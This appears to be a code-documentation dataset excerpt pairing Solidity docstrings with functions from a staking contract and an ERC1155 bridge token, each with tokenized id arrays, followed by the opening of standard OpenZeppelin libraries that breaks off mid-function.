@dev A simple method that calculates the punishment for stakeholder from a given period which is set by _from and _to. * @param _from The start date of the period. * @param _to The end date of the period. * @param _value Amount of staking. * @param _lockPeriod lock period for this staking. * @return uint256 total punishment for given period */ function _calculatePunishment(uint256 _from, uint256 _to, uint256 _value, uint256 _lockPeriod) internal view returns(uint256) { require (_to>=_from,"invalid stake time"); uint256 durationDays = _to.sub(_from).div(1 days); if (durationDays>=_lockPeriod) return 0; // retrieve latest punishment rate for the lock period uint256 pos = punishmentTable[_lockPeriod].rates.length; require (pos>0, "invalid lock period"); return _value.mul(punishmentTable[_lockPeriod].rates[pos-1].rate).div(10000); //return _calculateTotal(punishmentTable[_lockPeriod],_from,_to,_value,_lockPeriod); } /** * @dev calculates the total amount of reward/punishment for a given period which is set by _from and _to. This method calculates * based on the history of rate changes. So if in this period, three times rate have had changed, this function calculates for each * of the rates separately and returns total * @param _history The history of rates * @param _from The start date of the period. * @param _to The end date of the period. * @param _value Amount of staking. * @param _lockPeriod lock period for this staking. * @return uint256 total reward/punishment for given period considering the rate changes */ function _calculateTotal(RateHistory storage _history, uint256 _from, uint256 _to, uint256 _value, uint256 _lockPeriod) internal view returns(uint256) { //find the first rate before _from require(_history.rates.length>0,"invalid period"); uint256 rIndex; for (rIndex = _history.rates.length-1; rIndex>0; rIndex-- ) { if (_history.rates[rIndex].timestamp<=_from) break; } require(_history.rates[rIndex].timestamp<=_from, "lack of history rates"); // if rate has been constant during the staking period, just calculate whole period using same rate if (rIndex==_history.rates.length-1) { return _value.mul(_history.rates[rIndex].rate).div(10000); //10000 ~ 100.00 } // otherwise we have to calculate reward per each rate change record from history /* [1.5%] [5%] [2%] Rate History: (deployed)o(R0)----------------o(R1)-------------o(R2)-----------------o(R3)-------------------- Given Period: o(from)--------------------------------------o(to) Calculations: ( 1.5%*(R1-from) + 5%*(R2-R1) + 2%*(to-R2) ) / Period */ uint256 total = 0; uint256 totalDuration = 0; uint256 prevTimestamp = _from; uint256 diff = 0; uint256 maxTotalDuration = _duration(_from,_to, _lockPeriod); for (rIndex++; rIndex<=_history.rates.length && totalDuration<maxTotalDuration; rIndex++) { if (rIndex<_history.rates.length){ diff = _duration(prevTimestamp, _history.rates[rIndex].timestamp, 0); prevTimestamp = _history.rates[rIndex].timestamp; }else { diff = _duration(prevTimestamp, _to, 0); prevTimestamp = _to; } totalDuration = totalDuration.add(diff); if (totalDuration>maxTotalDuration) { diff = diff.sub(totalDuration.sub(maxTotalDuration)); totalDuration = maxTotalDuration; } total = total.add(_history.rates[rIndex-1].rate.mul(diff)); } return _value.mul(total).div(_lockPeriod.mul(10000)); } /** * @dev this function calculates the number of days between t1 and t2 * @param t1 the period start * @param t2 the period end * @param maxDuration max duration. if the number of days is more than max, it returns max * @return uint256 number of days */ function _duration(uint256 t1, uint256 t2, uint256 maxDuration) internal pure returns(uint256) { uint256 diffDays = t2.sub(t1).div(1 days); if (maxDuration==0) return diffDays; return Math.min(diffDays,maxDuration); } /** * @dev this function retrieve last rate of a given rate history * @param _history the history of rate changes * @return uint256 the last rate which is current rate */ function _lastRate(RateHistory storage _history) internal view returns(uint256) { return _history.rates[_history.rates.length-1].rate; } // storage gap for adding new states in upgrades uint256[50] private __gap; }
* @dev A method for a stakeholder to remove a stake. @param _stakedID id number of the stake @param _value The size of the stake to be removed./
function unstake(uint256 _stakedID, uint256 _value) public { _unstake(_msgSender(),_stakedID,_value); }
12,911,970
[ 1, 37, 707, 364, 279, 384, 911, 4505, 358, 1206, 279, 384, 911, 18, 225, 389, 334, 9477, 734, 612, 1300, 434, 326, 384, 911, 225, 389, 1132, 1021, 963, 434, 326, 384, 911, 358, 506, 3723, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 334, 911, 12, 11890, 5034, 389, 334, 9477, 734, 16, 2254, 5034, 389, 1132, 13, 203, 3639, 1071, 203, 565, 288, 203, 3639, 389, 23412, 911, 24899, 3576, 12021, 9334, 67, 334, 9477, 734, 16, 67, 1132, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x466db1b54Fb648330ec40FA26D35beE7992bAef7/sources/Users/kirillfedoseev/work/omnibridge-nft/contracts/tokens/ERC1155BridgeToken.sol
* @dev Mint a batch of new ERC1155 tokens. Only bridge contract is authorized to mint tokens. @param _to address of the newly created token owner. @param _tokenIds array of token ids to mint. @param _values array of corresponding mint amounts for each tokenId./
function mint( address _to, uint256[] memory _tokenIds, uint256[] memory _values ) external override onlyBridge { _mintBatch(_to, _tokenIds, _values, new bytes(0)); }
16,260,049
[ 1, 49, 474, 279, 2581, 434, 394, 4232, 39, 2499, 2539, 2430, 18, 5098, 10105, 6835, 353, 10799, 358, 312, 474, 2430, 18, 225, 389, 869, 1758, 434, 326, 10894, 2522, 1147, 3410, 18, 225, 389, 2316, 2673, 526, 434, 1147, 3258, 358, 312, 474, 18, 225, 389, 2372, 526, 434, 4656, 312, 474, 30980, 364, 1517, 1147, 548, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 12, 203, 3639, 1758, 389, 869, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 2316, 2673, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 2372, 203, 565, 262, 3903, 3849, 1338, 13691, 288, 203, 3639, 389, 81, 474, 4497, 24899, 869, 16, 389, 2316, 2673, 16, 389, 2372, 16, 394, 1731, 12, 20, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns 